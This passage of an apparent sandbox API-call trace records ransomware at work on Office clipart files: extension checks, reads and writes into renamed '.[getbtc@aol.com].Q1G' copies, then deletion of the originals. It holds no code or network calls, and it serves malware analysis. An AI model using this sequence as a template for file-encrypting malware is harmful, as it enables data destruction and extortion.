Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0251.664] lstrlenW (lpString=".jpg") returned 4 [0251.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0251.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0251.664] lstrlenW (lpString=".doc") returned 4 [0251.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.664] lstrlenW (lpString=".docx") returned 5 [0251.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.665] lstrlenW (lpString=".pdf") returned 4 [0251.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.665] lstrlenW (lpString=".xls") returned 4 [0251.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.665] lstrlenW (lpString=".xlsx") returned 5 [0251.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.665] lstrlenW (lpString=".ppt") returned 4 [0251.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0251.665] lstrlenW (lpString=".zip") returned 4 [0251.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.665] lstrlenW (lpString=".rar") returned 4 [0251.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.665] lstrlenW (lpString=".bz2") returned 4 [0251.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.665] lstrlenW (lpString=".7z") returned 3 [0251.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0251.665] lstrlenW (lpString=".dbf") returned 4 [0251.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0251.665] lstrlenW (lpString=".1cd") returned 4 [0251.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF") returned 63 [0251.665] lstrlenW (lpString=".jpg") returned 4 [0251.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.665] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.665] lstrlenW (lpString="HH00260_.WMF") returned 12 [0251.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.670] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=3662) returned 1 [0251.670] CloseHandle (hObject=0x324) returned 1 [0251.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 0x20 [0251.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0251.670] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.670] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0251.671] GetLastError () returned 0x0 [0251.671] ReadFile (in: hFile=0x324, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xe4e, lpOverlapped=0x0) returned 1 [0251.673] WriteFile (in: hFile=0x3bc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xe50, lpOverlapped=0x0) returned 1 [0251.674] ReadFile (in: hFile=0x324, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.674] WriteFile (in: hFile=0x3bc, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.674] SetEndOfFile (hFile=0x3bc) returned 1 [0251.674] CloseHandle (hObject=0x3bc) returned 1 [0251.674] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.674] SetEndOfFile (hFile=0x324) returned 1 [0251.679] CloseHandle (hObject=0x324) returned 1 [0251.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf")) returned 1 [0251.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0251.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0251.686] lstrlenW (lpString=".doc") returned 4 [0251.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.686] lstrlenW (lpString=".docx") returned 5 [0251.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.686] lstrlenW (lpString=".pdf") returned 4 [0251.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.686] lstrlenW (lpString=".xls") returned 4 [0251.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.686] lstrlenW (lpString=".xlsx") returned 5 [0251.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.686] lstrlenW (lpString=".ppt") returned 4 [0251.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0251.686] lstrlenW (lpString=".zip") returned 4 [0251.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.686] lstrlenW (lpString=".rar") returned 4 [0251.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.686] lstrlenW (lpString=".bz2") returned 4 [0251.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.686] lstrlenW (lpString=".7z") returned 3 [0251.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0251.686] lstrlenW (lpString=".dbf") returned 4 [0251.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0251.686] lstrlenW (lpString=".1cd") returned 4 [0251.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0251.686] lstrlenW (lpString=".jpg") returned 4 [0251.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0251.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0251.687] lstrlenW (lpString=".doc") returned 4 [0251.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.687] lstrlenW (lpString=".docx") returned 5 [0251.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.687] lstrlenW (lpString=".pdf") returned 4 [0251.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.687] lstrlenW (lpString=".xls") returned 4 [0251.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.687] lstrlenW (lpString=".xlsx") returned 5 [0251.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.687] lstrlenW (lpString=".ppt") returned 4 [0251.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0251.687] lstrlenW (lpString=".zip") returned 4 [0251.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.687] lstrlenW (lpString=".rar") returned 4 [0251.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.687] lstrlenW (lpString=".bz2") returned 4 [0251.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.687] lstrlenW (lpString=".7z") returned 3 [0251.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0251.687] lstrlenW (lpString=".dbf") returned 4 [0251.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0251.687] lstrlenW (lpString=".1cd") returned 4 [0251.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0251.687] lstrlenW (lpString=".jpg") returned 4 [0251.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.688] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.688] lstrlenW (lpString="HH00334_.WMF") returned 12 [0251.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.688] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=1528) returned 1 [0251.688] CloseHandle (hObject=0x3b0) returned 1 [0251.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x20 [0251.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.688] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.689] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0251.689] GetLastError () returned 0x0 [0251.689] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x5f8, lpOverlapped=0x0) returned 1 [0251.697] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x600, lpOverlapped=0x0) returned 1 [0251.698] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.698] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.698] SetEndOfFile (hFile=0x3ac) returned 1 [0251.698] CloseHandle (hObject=0x3ac) returned 1 [0251.698] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.698] SetEndOfFile (hFile=0x3b0) returned 1 [0251.700] CloseHandle (hObject=0x3b0) returned 1 [0251.700] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0251.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0251.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0251.701] lstrlenW (lpString=".doc") returned 4 [0251.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.701] lstrlenW (lpString=".docx") returned 5 [0251.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.701] lstrlenW (lpString=".pdf") returned 4 [0251.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.701] lstrlenW (lpString=".xls") returned 4 [0251.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.701] lstrlenW (lpString=".xlsx") returned 5 [0251.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.701] lstrlenW (lpString=".ppt") returned 4 [0251.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0251.702] lstrlenW (lpString=".zip") returned 4 [0251.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.702] lstrlenW (lpString=".rar") returned 4 [0251.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.702] lstrlenW (lpString=".bz2") returned 4 [0251.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.702] lstrlenW (lpString=".7z") returned 3 [0251.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0251.702] lstrlenW (lpString=".dbf") returned 4 [0251.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0251.702] lstrlenW (lpString=".1cd") returned 4 [0251.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0251.702] lstrlenW (lpString=".jpg") returned 4 [0251.702] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0251.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0251.702] lstrlenW (lpString=".doc") returned 4 [0251.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.702] lstrlenW (lpString=".docx") returned 5 [0251.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.702] lstrlenW (lpString=".pdf") returned 4 [0251.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.702] lstrlenW (lpString=".xls") returned 4 [0251.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.702] lstrlenW (lpString=".xlsx") returned 5 [0251.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.702] lstrlenW (lpString=".ppt") returned 4 [0251.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0251.702] lstrlenW (lpString=".zip") returned 4 [0251.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.702] lstrlenW (lpString=".rar") returned 4 [0251.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.703] lstrlenW (lpString=".bz2") returned 4 [0251.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.703] lstrlenW (lpString=".7z") returned 3 [0251.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0251.703] lstrlenW (lpString=".dbf") returned 4 [0251.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0251.703] lstrlenW (lpString=".1cd") returned 4 [0251.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0251.703] lstrlenW (lpString=".jpg") returned 4 [0251.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.703] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0251.703] lstrlenW (lpString="HH00513_.WMF") returned 12 [0251.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.704] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=818) returned 1 [0251.704] CloseHandle (hObject=0x3b0) returned 1 [0251.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x20 [0251.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0251.704] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.704] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0251.705] GetLastError () returned 0x0 [0251.705] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x332, lpOverlapped=0x0) returned 1 [0251.706] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x340, lpOverlapped=0x0) returned 1 [0251.707] ReadFile (in: hFile=0x3b0, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0251.707] WriteFile (in: hFile=0x3ac, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0251.707] SetEndOfFile (hFile=0x3ac) returned 1 [0251.707] CloseHandle (hObject=0x3ac) returned 1 [0251.707] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.707] SetEndOfFile (hFile=0x3b0) returned 1 [0251.709] CloseHandle (hObject=0x3b0) returned 1 [0251.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0251.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0251.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0251.710] lstrlenW (lpString=".doc") returned 4 [0251.710] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.710] lstrlenW (lpString=".docx") returned 5 [0251.710] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.710] lstrlenW (lpString=".pdf") returned 4 [0251.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0251.710] lstrlenW (lpString=".xls") returned 4 [0251.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0251.710] lstrlenW (lpString=".xlsx") returned 5 [0251.710] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0251.710] lstrlenW (lpString=".ppt") returned 4 [0251.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0251.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0251.710] lstrlenW (lpString=".zip") returned 4 [0251.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0251.711] lstrlenW (lpString=".rar") returned 4 [0251.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0251.711] lstrlenW (lpString=".bz2") returned 4 [0251.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0251.711] lstrlenW (lpString=".7z") returned 3 [0251.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0251.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0251.711] lstrlenW (lpString=".dbf") returned 4 [0251.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0251.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0251.711] lstrlenW (lpString=".1cd") returned 4 [0251.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0251.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0251.711] lstrlenW (lpString=".jpg") returned 4 [0251.711] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0251.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0251.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 63 [0251.711] lstrlenW (lpString=".doc") returned 4 [0251.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0251.711] lstrlenW (lpString=".docx") returned 5 [0251.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0251.711] lstrlenW (lpString=".pdf") returned 4 [0251.711] lstrcmpiW (lpString1=".pdf", 